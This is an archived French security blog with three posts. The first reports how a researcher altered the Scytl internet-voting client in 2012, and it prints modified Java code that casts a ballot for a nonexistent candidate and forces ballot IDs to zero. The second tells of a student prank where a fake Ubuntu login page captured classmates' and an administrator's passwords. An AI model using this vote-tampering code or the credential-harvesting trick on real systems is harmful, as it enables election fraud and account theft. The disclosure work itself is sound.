PROJET AUTOBLOG


Paul Da Silva

Archivé

source: Paul Da Silva

⇐ retour index

Le vote par Internet, c’est pire au second tour !

dimanche 10 juin 2012 à 12:12

Aujourd’hui se tient le premier tour des législatives en France métropolitaine. Pour les Français établis à l’étranger cependant on en est déjà à la tenue du second tour sur Internet. L’occasion pour Laurent Grégoire de continuer à mettre à l’épreuve le vote par Internet… Et ce qu’il a trouvé est pire encore que lors du premier tour.

Toujours en se servant d’une injection de code il a cette fois essayé de prouver que l’on pouvait influer sur le contenu de son propre vote pour voir si le système était suffisamment bien conçu (spoiler : il ne l’est pas) pour tenir compte du cas de figure « je suis un méchant et je veux truquer le vote ».

Voter pour un candidat fantôme

Le candidat du Parti Pirate n’ayant pas recueilli suffisamment de votes pour se maintenir au second tour il n’était pas présent dans les choix proposés cette fois-ci. Les propositions restantes étaient l’UMP, le PS ou le vote blanc.

Qu’à celà ne tienne, ajouter un candidat n’est pas bien compliqué, il suffit d’un put :

———[com.scytl.pnyx.client.communication.application.MessagesProtocol]———

public VoteReceipt doCastVote(ClientData clientData) throws ApplicationProtocolException, PnyxProtocolException
{
Map<String, QuestionAnswer> vote = clientData.getTrustedBallot().getBallotAnswers();
for (Map.Entry<String, QuestionAnswer> kv : vote.entrySet()) {
ValuedMultipleChoiceQuestionAnswer qa = (ValuedMultipleChoiceQuestionAnswer)kv.getValue();
Map<String, String> answers = qa.getAnswerIdValues();
for (Map.Entry<String, String> kv2 : answers.entrySet()) {
kv2.setValue(null); // AUCUN VOTE
}
answers.put(« ff808081375acd2201375adad63d037a », « 1″); // CANDIDAT PIRATE INEXISTANT
}
ClientDataManager clientDataMgr = new ClientDataManager(clientData);
String response = this._transport.sendMessage(this._secureMessageMessage.createMessage(clientDataMgr),
this._destinations.getPnyxCastVoteAction());
JOptionPane.showMessageDialog(JFrame.getFrames()[0], response); // AFFICHAGE DE LA REPONSE XML
return this._secureMessageMessage.parseResponse(response, clientDataMgr);
}

On pourrait penser que le machin ait la bête idée de vérifier que le vote que l’on vient d’envoyer est bien parmi les propositions valides… Ce serait sans compter sur la compétence de Scytl !

Non seulement le vote est accepté mais le tout fournit un beau reçu de vote valide à la fin de la procédure… Le total des votes sera donc supérieur d’au moins une voix au cumule des votes exprimés pour les candidats réellement en lice : UMP + PS + Blanc = total -1…

Le vote nul est-il prévu par le système de décompte ? On verra ça au dépouillement avec le reçu de vote… Et justement puisqu’on en parle !

L’identifiant de bulletin

Dans le système utilisé chaque vote a un identifiant donné généré de façon pseudo-aléatoire sur 24 octets. Laurent a eu la bonne idée de tester de modifier la génération de ce chiffre pseudo-aléatoire pour que la fonction qui le créé renvoie toujours 0×00 (zéro en hexadécimal).

Bien entendu l’applet n’y voit que du feu et laisse le vote se dérouler de façon classique. Et ce jusqu’à la fin, à la génération du reçu de vote qui étrangement se retrouve à avoir un identifiant qui vaut AAAAAAAAA. Il y a donc fort à parier que ce reçu est calculé en fonction de l’identifiant précédemment altéré. En poussant le vice on peut aussi supposer que la somme de contrôle en dessous (qui sert à vérifier son vote à postériori) est générée de la même façon.

Mais plus grave, cet identifiant de vote (qui sert à générer l’identifiant de reçu) étant tiré de façon pseudo-aléatoire dans un pool de 26^10 possibilités peut présenter des risques de collision (probabilité de collision de 1 – e^(-(n^2/(2 x 26^10)))) : deux votants pourraient avoir le même identifiant. Pour être précis, avec nos 700.000 inscrits le risque est de 0.17% sur le scrutin actuel, plus élevé si l’on envisage un scrutin à plus grande échelle… Comment réagirait le système dans ce cas ? Bah vérifiez vous même en vous attribuant l’identifiant 0×00 :

————–com.scytl.crypto.CryptographicAlgorithms————-

private byte[] encryption(int paramInt, byte[] paramArrayOfByte,
Key paramKey, String paramString) {
try {
Cipher cipher = Cipher.getInstance(paramString);
paramString = null;
byte[] buf = null;
if (cipher.getBlockSize() > 0) {
         buf = new byte[cipher.getBlockSize()];
         this._secureRandom.nextBytes(buf);

cipher.init(1, paramKey, new IvParameterSpec(buf));

buf = packSymetricMsg(buf,
cipher.doFinal(paramArrayOfByte));
} else {
cipher.init(1, paramKey);
buf = cipher.doFinal(paramArrayOfByte);
}
return buf;
} catch (GeneralSecurityException e) {
throw new RuntimeException(e);
}
}

public final byte[] generateRandom(int length) {
byte[] randomBytes = new byte[length];
   //this._secureRandom.nextBytes(randomBytes);
   for (int i = 0; i < length; i++)
      randomBytes[i] = 0×00;
return randomBytes;
}

Conclusion

Voici donc un vote qui s’est déroulé impéccablement alors même que l’identifiant du vote a été changé et que le candidat pour lequel le vote a été exprimé n’est pas présent dans les choix. C’est à se demander s’il ne serait pas possible de voter pour un candidat d’une autre circonscription en utilisant tous le même identifiant de bulletin…

La suite au dépouillement pour voir comment le système va avoir géré les bugs et comment le ministère va justifier l’injustifiable cette fois-ci…

flattr this!

On a tous été jeunes

vendredi 8 juin 2012 à 13:52

On me demande souvent comment j’ai commencé à m’intéresser à la sécurité, je pense que ce jour là a été un des déclencheurs qui ont fait que c’est devenu mon métier. Petit billet d’humeur en ce trolldredi pour vous raconter une anecdote de l’époque bénie où j’étais (inscrit) à l’IUT.

Ce devait être en 2007 ou 2008 (putain le coup de vieux !), à l’IUT de Montreuil lors d’une pause déjeuner. La coutume était souvent la même : les étudiants allaient manger tous en même temps et se retrouvaient ensuite dans les quatre salles info pour jouer ou avancer leur projets… Ouais bon, pour jouer !

Avec un groupe d’amis – bande de pochtrons ! – on a un peu perturbé cette pause là en particulier…

Alors que tous les étudiants se dirigeaient vers la cantine on se dirigeait vers les salles info, une clef USB en main. Munis des logins / mots de passe des comptes de test des salles info (qu’on avait récupéré un peu plus tôt dans un script de génération LDAP qui trainait) on a allumé et loggué toutes les bécanes sur les comptes en question.

Sur la clef USB une simple page en php et une image de fond. Le tout donnait une impression presque crédible de la page de login d’Ubuntu (version de l’époque installée sur les machines), une fois copiés dans le dossier approprié il suffisait d’ouvrir la page en question dans un navigateur et d’appuyer sur F11 pour mettre l’affichage en plein écran. La page se chargeait dès lors d’afficher un message d’erreur et de stocker les données entrées dans un fichier .txt…

Un simple file_put_contents.

Branchés sur le wifi avec nos laptops et / ou téléphones on se positionne à l’étage en dessous, dans une salle de cours non-utilisée et on attend, le doigt sur le F5.

Le résultat fut à la hauteur de nos espérances, et en une après-midi on a ainsi vu défiler les logins et mot de passe de tous les utilisateurs essayant de se connecter… Jusqu’à l’administrateur qui avait été sollicité pour résoudre le problème de login et n’y comprenait pas grand chose de plus que les autres…

La leçon à tirer de cela (au delà du fait que certains souvenirs de l’IUT me resteront à vie) ? Ne pas utiliser le même mot de passe partout, ne pas faire confiance à n’importe quelle machine, une vocation vient souvent d’une connerie, même les responsables font des erreurs, … ne rayez aucune mention inutile.

Don’t try this at home, certains pourraient très mal le prendre ;)

flattr this!

Some data i would not want disclosed before due date

mercredi 31 décembre 1969 à 23:00

bla bla bla

flattr this!